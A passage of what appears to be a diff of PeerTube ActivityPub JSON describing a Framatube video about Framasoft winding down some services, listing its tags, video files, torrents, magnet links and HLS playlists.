@april...","support":null,"subtitleLanguage":[],"icon":{"type":"Image","url":"https://framatube.org/static/thumbnails/6050732a-8a7a-43d4-a6cd-809525a1d206.jpg","mediaType":"image/jpeg","width":223,"height":122},"url":[{"type":"Link","mediaType":"text/html","href":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080,"size":1157359410,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309939","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent&xt=urn:btih:381c9429900552e23a4eb506318f1fa01e4d63a8&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480,"size":250095131,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309941","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent&xt=urn:btih:a181dcbb5368ab5c31cc9ff07634becb72c344ee&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360,"size":171357733,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309942","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent&xt=urn:btih:aedfa9479ea04a175eee0b0bd0bda64076308746&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720,"size":497100839,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309943","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent&xt=urn:btih:71971668f82a3b24ac71bc3a982848dd8dc5a5f5&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240,"size":113038439,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309944","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent&xt=urn:btih:c42aa6c95efb28d9f114ebd98537f7b00fa72246&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240},{"type":"Link","mediaType":"application/x-mpegURL","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/master.m3u8","tag":[{"type":"Infohash","name":"f7428214539626e062f300f2ca4cf9154575144e"},{"type":"Infohash","name":"46e236dffb1ea6b9123a5396cbe88e97dd94cc6c"},{"type":"Infohash","name":"11f1045830b5d786c788f2594d19f128764e7d87"},{"type":"Infohash","name":"4327ad3e0d84de100130a27e9ab6fe40c4284f0e"},{"type":"Infohash","name":"41e2eee8e7b23a63c23a77c40a46de11492a4831"},{"type":"Link","name":"sha256","mediaType":"application/json","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/segments-sha256.json"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080,"size":1156777472,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309940","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent&xt=urn:btih:0204d780ebfab0d5d9d3476a038e812ad792deeb&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480,"size":249562889,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309945","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent&xt=urn:btih:5d14f38ded29de629668fe1cfc61a75f4cce2628&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360,"size":170836415,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309946","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent&xt=urn:btih:30125488789080ad405ebcee6c214945f31b8f30&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720,"size":496533741,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309947","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent&xt=urn:btih:8ed1e8bccde709901c26e315fc8f53bfd26d1ba6&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240,"size":112529249,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309948","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent&xt=urn:btih:8b452bf4e70b9078d4e74ca8b5523cc9dc70d10a&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240}]}],"likes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/likes","dislikes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/dislikes","shares":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/announces","comments":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/comments","attributedTo":[{"type":"Person","id":"https://framatube.org/accounts/framasoft"},{"type":"Group","id":"https://framatube.org/video-channels/bf54d359-cfad-4935-9d45-9d6be93f63e8"}],"to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://framatube.org/accounts/framasoft/followers"],"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"RsaSignature2017":"https://w3id.org/security#RsaSignature2017"},{"pt":"https://joinpeertube.org/ns#","sc":"http://schema.org#","Hashtag":"as:Hashtag","uuid":"sc:identifier","category":"sc:category","licence":"sc:license","subtitleLanguage":"sc:subtitleLanguage","sensitive":"as:sensitive","language":"sc:inLanguage","Infohash":"pt:Infohash","Playlist":"pt:Playlist","PlaylistElement":"pt:PlaylistElement","originallyPublishedAt":"sc:datePublished","views":{"@type":"sc:Number","@id":"pt:views"},"state":{"@type":"sc:Number","@id":"pt:state"},"size":{"@type":"sc:Number","@id":"pt:size"},"fps":{"@type":"sc:Number","@id":"pt:fps"},"startTimestamp":{"@type":"sc:Number","@id":"pt:startTimestamp"},"stopTimestamp":{"@type":"sc:Number","@id":"pt:stopTimestamp"},"position":{"@type":"sc:Number","@id":"pt:position"},"commentsEnabled":{"@type":"sc:Boolean","@id":"pt:commentsEnabled"},"downloadEnabled":{"@type":"sc:Boolean","@id":"pt:downloadEnabled"},"waitTranscoding":{"@type":"sc:Boolean","@id":"pt:waitTranscoding"},"support":{"@type":"sc:Text","@id":"pt:support"},"likes":{"@id":"as:likes","@type":"@id"},"dislikes":{"@id":"as:dislikes","@type":"@id"},"playlists":{"@id":"pt:playlists","@type":"@id"},"shares":{"@id":"as:shares","@type":"@id"},"comments":{"@id":"as:comments","@type":"@id"}}]} \ No newline at end of file +{"type":"Create","id":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/activity","actor":"https://framatube.org/accounts/framasoft","object":{"type":"Video","id":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206","name":"Déframasoftisons Internet [Framasoft]","duration":"PT3622S","uuid":"6050732a-8a7a-43d4-a6cd-809525a1d206","tag":[{"type":"Hashtag","name":"déframasoftisons"},{"type":"Hashtag","name":"EPN23"},{"type":"Hashtag","name":"framaconf"},{"type":"Hashtag","name":"Framasoft"},{"type":"Hashtag","name":"pyg"}],"category":{"identifier":"15","name":"Science & Technology"},"views":154,"sensitive":false,"waitTranscoding":false,"state":1,"commentsEnabled":true,"downloadEnabled":true,"published":"2020-05-24T18:34:31.569Z","originallyPublishedAt":"2019-11-30T23:00:00.000Z","updated":"2020-08-17T11:01:02.994Z","mediaType":"text/markdown","content":"Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?\r\n\r\nTranscription par @aprilorg ici : https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft","support":null,"subtitleLanguage":[],"icon":[{"type":"Image","url":"https://framatube.org/static/thumbnails/6050732a-8a7a-43d4-a6cd-809525a1d206.jpg","mediaType":"image/jpeg","width":223,"height":122},{"type":"Image","url":"https://framatube.org/static/previews/6050732a-8a7a-43d4-a6cd-809525a1d206.jpg","mediaType":"image/jpeg","width":850,"height":480}],"url":[{"type":"Link","mediaType":"text/html","href":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080,"size":1157359410,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309939","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent&xt=urn:btih:381c9429900552e23a4eb506318f1fa01e4d63a8&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720,"size":497100839,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309943","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent&xt=urn:btih:71971668f82a3b24ac71bc3a982848dd8dc5a5f5&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480,"size":250095131,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309941","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent&xt=urn:btih:a181dcbb5368ab5c31cc9ff07634becb72c344ee&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360,"size":171357733,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309942","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent&xt=urn:btih:aedfa9479ea04a175eee0b0bd0bda64076308746&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240,"size":113038439,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309944","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent&xt=urn:btih:c42aa6c95efb28d9f114ebd98537f7b00fa72246&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240},{"type":"Link","mediaType":"application/x-mpegURL","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/master.m3u8","tag":[{"type":"Infohash","name":"f7428214539626e062f300f2ca4cf9154575144e"},{"type":"Infohash","name":"46e236dffb1ea6b9123a5396cbe88e97dd94cc6c"},{"type":"Infohash","name":"11f1045830b5d786c788f2594d19f128764e7d87"},{"type":"Infohash","name":"4327ad3e0d84de100130a27e9ab6fe40c4284f0e"},{"type":"Infohash","name":"41e2eee8e7b23a63c23a77c40a46de11492a4831"},{"type":"Link","name":"sha256","mediaType":"application/json","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/segments-sha256.json"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080,"size":1156777472,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309940","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent&xt=urn:btih:0204d780ebfab0d5d9d3476a038e812ad792deeb&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720,"size":496533741,"f